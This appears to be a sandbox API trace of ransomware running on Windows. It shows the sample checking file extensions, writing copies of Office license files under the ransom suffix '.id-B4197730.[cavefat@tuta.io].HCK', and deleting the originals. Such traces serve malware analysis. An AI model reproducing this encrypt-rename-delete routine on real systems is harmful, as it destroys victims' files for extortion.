lstrlenW (lpString=".docx") returned 5 [0240.660] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.660] lstrlenW (lpString=".pdf") returned 4 [0240.660] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.660] lstrlenW (lpString=".xls") returned 4 [0240.660] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.660] lstrlenW (lpString=".xlsx") returned 5 [0240.660] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.660] lstrlenW (lpString=".ppt") returned 4 [0240.660] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.660] lstrlenW (lpString=".zip") returned 4 [0240.660] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.660] lstrlenW (lpString=".rar") returned 4 [0240.661] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.661] lstrlenW (lpString=".bz2") returned 4 [0240.661] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.661] lstrlenW (lpString=".7z") returned 3 [0240.661] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.661] lstrlenW (lpString=".dbf") returned 4 [0240.661] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.661] lstrlenW (lpString=".1cd") returned 4 [0240.661] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.661] lstrlenW (lpString=".jpg") returned 4 [0240.661] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.661] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0240.661] lstrlenW (lpString="HomeStudentR_Trial2-ul-oob.xrm-ms") returned 33 [0240.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0240.663] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11620) returned 1 [0240.663] CloseHandle (hObject=0x4b8) returned 1 [0240.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 0x220 [0240.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0240.664] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.664] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0240.666] GetLastError () returned 0x0 [0240.666] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d64, lpOverlapped=0x0) returned 1 [0240.668] WriteFile (in: hFile=0x4bc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0240.668] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0240.669] WriteFile (in: hFile=0x4bc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x116, lpOverlapped=0x0) returned 1 [0240.669] SetEndOfFile (hFile=0x4bc) returned 1 [0240.669] CloseHandle (hObject=0x4bc) returned 1 [0240.669] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.669] SetEndOfFile (hFile=0x4b8) returned 1 [0240.973] CloseHandle (hObject=0x4b8) returned 1 [0240.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 1 [0240.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0240.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0240.999] lstrlenW (lpString=".doc") returned 4 [0240.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString=".docx") returned 5 [0240.999] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.999] lstrlenW (lpString=".pdf") returned 4 [0240.999] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString=".xls") returned 4 [0240.999] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString=".xlsx") returned 5 [0240.999] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.999] lstrlenW (lpString=".ppt") returned 4 [0240.999] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0240.999] lstrlenW (lpString=".zip") returned 4 [0240.999] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString=".rar") returned 4 [0240.999] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString=".bz2") returned 4 [0240.999] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString=".7z") returned 3 [0240.999] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0240.999] lstrlenW (lpString=".dbf") returned 4 [0240.999] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0240.999] lstrlenW (lpString=".1cd") returned 4 [0240.999] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0240.999] lstrlenW (lpString=".jpg") returned 4 [0240.999] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0240.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0240.999] lstrlenW (lpString=".doc") returned 4 [0240.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString=".docx") returned 5 [0240.999] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.999] lstrlenW (lpString=".pdf") returned 4 [0240.999] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.999] lstrlenW (lpString=".xls") returned 4 [0241.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.000] lstrlenW (lpString=".xlsx") returned 5 [0241.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.000] lstrlenW (lpString=".ppt") returned 4 [0241.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0241.000] lstrlenW (lpString=".zip") returned 4 [0241.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.000] lstrlenW (lpString=".rar") returned 4 [0241.000] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.000] lstrlenW (lpString=".bz2") returned 4 [0241.000] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.000] lstrlenW (lpString=".7z") returned 3 [0241.000] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0241.000] lstrlenW (lpString=".dbf") returned 4 [0241.000] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0241.000] lstrlenW (lpString=".1cd") returned 4 [0241.000] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0241.000] lstrlenW (lpString=".jpg") returned 4 [0241.000] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.000] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.000] lstrlenW (lpString="MondoR_Grace-ppd.xrm-ms") returned 23 [0241.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.001] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=26459) returned 1 [0241.001] CloseHandle (hObject=0x4b8) returned 1 [0241.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 0x220 [0241.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.002] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.002] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0241.003] GetLastError () returned 0x0 [0241.003] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x675b, lpOverlapped=0x0) returned 1 [0241.005] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x6760, lpOverlapped=0x0) returned 1 [0241.006] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.006] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x102, lpOverlapped=0x0) returned 1 [0241.006] SetEndOfFile (hFile=0x548) returned 1 [0241.007] CloseHandle (hObject=0x548) returned 1 [0241.007] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.007] SetEndOfFile (hFile=0x4b8) returned 1 [0241.009] CloseHandle (hObject=0x4b8) returned 1 [0241.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 1 [0241.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.011] lstrlenW (lpString=".doc") returned 4 [0241.011] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.011] lstrlenW (lpString=".docx") returned 5 [0241.011] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.011] lstrlenW (lpString=".pdf") returned 4 [0241.011] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.011] lstrlenW (lpString=".xls") returned 4 [0241.011] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.011] lstrlenW (lpString=".xlsx") returned 5 [0241.011] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.011] lstrlenW (lpString=".ppt") returned 4 [0241.011] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.011] lstrlenW (lpString=".zip") returned 4 [0241.011] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.011] lstrlenW (lpString=".rar") returned 4 [0241.011] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.011] lstrlenW (lpString=".bz2") returned 4 [0241.011] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.011] lstrlenW (lpString=".7z") returned 3 [0241.011] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.011] lstrlenW (lpString=".dbf") returned 4 [0241.011] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.011] lstrlenW (lpString=".1cd") returned 4 [0241.011] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.011] lstrlenW (lpString=".jpg") returned 4 [0241.011] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.011] lstrlenW (lpString=".doc") returned 4 [0241.011] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.011] lstrlenW (lpString=".docx") returned 5 [0241.011] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.012] lstrlenW (lpString=".pdf") returned 4 [0241.012] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.012] lstrlenW (lpString=".xls") returned 4 [0241.012] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.012] lstrlenW (lpString=".xlsx") returned 5 [0241.012] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.012] lstrlenW (lpString=".ppt") returned 4 [0241.012] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.012] lstrlenW (lpString=".zip") returned 4 [0241.012] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.012] lstrlenW (lpString=".rar") returned 4 [0241.012] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.012] lstrlenW (lpString=".bz2") returned 4 [0241.012] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.012] lstrlenW (lpString=".7z") returned 3 [0241.012] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.012] lstrlenW (lpString=".dbf") returned 4 [0241.012] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.012] lstrlenW (lpString=".1cd") returned 4 [0241.012] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0241.012] lstrlenW (lpString=".jpg") returned 4 [0241.012] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.012] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.012] lstrlenW (lpString="MondoR_Grace-ul-oob.xrm-ms") returned 26 [0241.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.013] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11589) returned 1 [0241.013] CloseHandle (hObject=0x4b8) returned 1 [0241.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 0x220 [0241.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.014] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.014] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0241.015] GetLastError () returned 0x0 [0241.015] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d45, lpOverlapped=0x0) returned 1 [0241.017] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0241.018] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.018] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x108, lpOverlapped=0x0) returned 1 [0241.018] SetEndOfFile (hFile=0x548) returned 1 [0241.018] CloseHandle (hObject=0x548) returned 1 [0241.018] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.019] SetEndOfFile (hFile=0x4b8) returned 1 [0241.021] CloseHandle (hObject=0x4b8) returned 1 [0241.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 1 [0241.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.022] lstrlenW (lpString=".doc") returned 4 [0241.022] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.022] lstrlenW (lpString=".docx") returned 5 [0241.023] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.023] lstrlenW (lpString=".pdf") returned 4 [0241.023] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.023] lstrlenW (lpString=".xls") returned 4 [0241.023] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.023] lstrlenW (lpString=".xlsx") returned 5 [0241.023] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.023] lstrlenW (lpString=".ppt") returned 4 [0241.023] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.023] lstrlenW (lpString=".zip") returned 4 [0241.023] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.023] lstrlenW (lpString=".rar") returned 4 [0241.023] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.023] lstrlenW (lpString=".bz2") returned 4 [0241.023] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.023] lstrlenW (lpString=".7z") returned 3 [0241.023] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.023] lstrlenW (lpString=".dbf") returned 4 [0241.023] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.023] lstrlenW (lpString=".1cd") returned 4 [0241.023] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.023] lstrlenW (lpString=".jpg") returned 4 [0241.023] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.023] 